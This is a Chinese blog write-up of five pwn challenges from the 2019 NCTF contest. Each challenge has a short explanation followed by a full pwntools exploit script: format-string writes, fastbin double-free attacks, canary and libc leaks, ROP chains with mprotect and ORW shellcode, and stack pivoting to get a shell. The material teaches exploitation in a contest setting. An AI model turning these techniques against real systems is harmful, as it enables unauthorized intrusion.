avatar

CTF-NCTF-19年11月

CTF-2019NCTF-南邮CTF

前言:帮朋友的战队打了一下比赛,ak了pwn,原本觉得新生赛应该学不到什么东西,只能提高自己的熟练度,发现有一题学到了一个新的东西,发现了自己的盲点,感谢出题人。

PWN

0x01 pwn me 100 year!(II)


第一个read可以输入%p导致pie泄露,然后确定key的位置,然后printf的格式化字符串漏洞改一下值就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_2")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./pwn_me_2")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh.sendlineafter(':',"a" * 0x10 + "%p\x00")
sh.recvuntil("preparing......\n")
pie = int(sh.recvuntil("pwn me 100",True),16) - 0x563519b85080 + 0x563519983000
key = pie + 0x2020E0
payload = "%" + str(0x6666) + "d%10$hn%11$hn"
payload = payload.ljust(0x30 - 0x10,'\x00')
payload += p64(key) + p64(key+2)
sh.sendlineafter("?",payload)
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50005,0)

0x02 pwn me 100 year!(III)


先利用malloc和free在read之后的末尾字节未置零从而实现heap leak,edit功能存在0x10字节的溢出,利用fastbin attack即可修改heap头的堆块,触发backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn_me_3")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./pwn_me_3")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
sh.sendlineafter("exit","1")
sh.sendlineafter(":",str(size))
sh.sendafter(":",content)
def edit(idx,content):
sh.sendlineafter("exit","4")
sh.sendlineafter(":",str(idx))
sh.sendafter(":",content)
def free(idx):
sh.sendlineafter("exit","2")
sh.sendlineafter(":",str(idx))
def show(idx):
sh.sendlineafter("exit","3")
sh.sendlineafter("idx",str(idx))
add(0x18,'a' * 0x18)
add(0x18,'b' * 0x18)
free(0)
free(1)
add(8,'\n')
add(0,'')
show(0)
sh.recvuntil("\n")
heap_base = u64(sh.recvuntil("\n1,a",True)[-4:].ljust(8,'\x00')) - 0xa
log.success("heap_base: " + hex(heap_base))
add(0x18,'c' * 0x18)
free(2)
edit(1,'a' * 0x10 + p64(0x20) + p64(0x41))
free(0)
add(0x38,'a' * 0x18 + p64(0x21) + p64(heap_base))
add(0x18,p32(0xdeadbeef))
add(0x18,p32(0x66666666))
sh.sendline("5")
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50006,0)

0x03 warmup


导入ida看到开了沙盒,考虑使用orw,然后程序有read、printf、read,可以实现canary leak,然后第二个read存在严重的栈溢出,然后puts一下got数据实现libc leak,再回到main进行二次劫持,接着调用mprotect函数来设置bss段的数据可读可写可执行,然后再bss段上放好orwshellcode然后跳过去执行就可以拿到flag了,介于之前的题目中出现过cat flag的字符串,所以猜测flag和elf在同一个目录下,所以直接open(“flag”)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("warm_up")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./warm_up")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
sh.sendafter('!!!','a' * 0x19)
sh.recvuntil('a' * 0x18)
canary = u64(sh.recv(8)) - 0x61
payload = 'a' * 0x18 + p64(canary) + 'a' * 8
payload += p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(0x400910)
sh.sendline(payload)
sh.recvuntil("?")
__libc_start_main = u64(sh.recvuntil("\nwarm",True)[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
gets = libc + lib.symbols['gets']
mprotect = libc+ lib.symbols['mprotect']
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
pop_rdx_ret = libc + lib.search(asm("pop rdx\nret")).next()
payload = 'a' * 0x18 + p64(canary) + 'a' * 8
payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x500) + p64(gets)
payload += p64(pop_rdx_ret) + p64(7) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdi_ret) + p64((elf.bss() >> 12) << 12) + p64(mprotect)
payload += p64(elf.bss() + 0x500)
sh.sendlineafter("!!!",'a')
sh.sendline(payload)
payload = ''
payload += shellcraft.open("flag")
payload += shellcraft.read(3,elf.bss()+0x100,0x30)
payload += shellcraft.write(1,elf.bss()+0x100,0x30)
sh.sendline(asm(payload))
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50007,0)

0x04 easy_heap


典型的fastbin attack题目,一开始程序叫你输入一句话,可以输入伪造的size为,我们可以使用double free实现fastbin attack把chunk申请到伪造的size这里,由于chunk可以达到0x48的大小,所以可以修改chunk_max_size实现malloc无大小限制,同时修改到第一个chunk_ptr为got,然后show一下就可以知道libc_base了,然后再一次double free+fastbin attack打__malloc_hook,将其覆盖为one_gadget,然后malloc一下就可以拿到shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_heap")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./easy_heap")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
sh.sendlineafter("4.","1")
sh.sendlineafter("?",str(size))
sh.sendafter("?",content)
def free(idx):
sh.sendlineafter("4.","2")
sh.sendlineafter("?",str(idx))
def show(idx):
sh.sendlineafter("4.","3")
sh.sendlineafter("?",str(idx))
chunk_list = 0x602080
chunk_size = 0x602078
sh.sendafter("?",p64(0x50) * 2)
add(0x48,'\x11' * 0x48)
add(0x48,'\x12' * 0x48)
free(0)
free(1)
free(0)
add(0x48,p64(0x602060))
add(0x48,p64(0x602060))
add(0x48,p64(0x602060))
payload = 'a' * 8 + p64(0x6666) + p64(elf.got['__libc_start_main'])
add(0x48,payload)
show(0)
__libc_start_main = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x68,'\x13' * 0x68)
add(0x68,'\x14' * 0x68)
free(6)
free(7)
free(6)
add(0x68,p64(__malloc_hook - 0x23))
add(0x68,p64(__malloc_hook - 0x23))
add(0x68,p64(__malloc_hook - 0x23))
payload = '\x00' * 3
payload += p64(0) * 2
payload += p64(libc+one_gadget[3])
add(0x68,payload)
sh.sendlineafter("4.","1")
sh.sendlineafter("?","666")
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50001,0)

0x05 easy_rop


利用%d的非正规字符绕过canary,然后顺便读取canary和pie,然后在栈里发现vulnerable_function的指针,然后通过pop,让ret_addr指向该指针,再一次进入vulnerable_function,然后设置好rbp为new_stack,ret_addr为leave_ret即可栈迁移,栈迁移之后先libc leak,然后利用万能gadget调用read再一次更新new_stack的数据,将ret_addr指向system("/bin/sh\x00")就可以拿到shell了,中间少了负数的处理。所以要多打几次才能拿shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_rop")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./easy_rop")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
for i in range(26):
sh.sendlineafter(":",str(0))
sh.sendlineafter(":","--")
sh.recvuntil("number 26 = ")
canary = int(sh.recvuntil("\nnumber 27:",True),10)
sh.recvuntil("number 27 = ")
canary_head = int(sh.recvuntil("\nnumber 28",True),10)
canary = canary + (canary_head<<32)
sh.sendlineafter(":","--")
sh.recvuntil("number 28 = ")
pie = int(sh.recvuntil("\nnumber 29:",True),10)
sh.recvuntil("number 29 = ")
pie = (int(sh.recvuntil("\nnumber 30",True),10) << 32) + pie
pie -= 0xb40
pop_rbp_ret = pie + 0x900
leave_ret = pie + 0xb31
pop3_ret = pie + 0xb9f
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
pop_rsi_r15_ret = pie + 0xba1
pop6_ret = 0xB9A + pie
call_gadget = 0xB80 + pie
def send(num):
if(num % 0x100000000 > 0x7fffffff):
sh.sendlineafter(":",str((-1 * num) % 0x100000000))
else:
sh.sendlineafter(":",str(num % 0x100000000))
sh.sendlineafter(":",str(num>>32))
send(pop3_ret)
send(new_stack)
payload = "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
sh.sendlineafter("?",payload)
for i in range(28):
sh.sendlineafter(":",'-')
send(new_stack)
send(leave_ret)
sh.sendlineafter(":","--")
payload = p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'] + pie)
payload += p64(elf.plt['puts'] + pie)
payload += p64(pop6_ret)
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(call_gadget)
sh.sendlineafter("?",payload)
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
payload = 'a' * 80
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
sleep(0.2)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50002,0)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/11/24/CTF-NCTF-19%E5%B9%B411%E6%9C%88/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论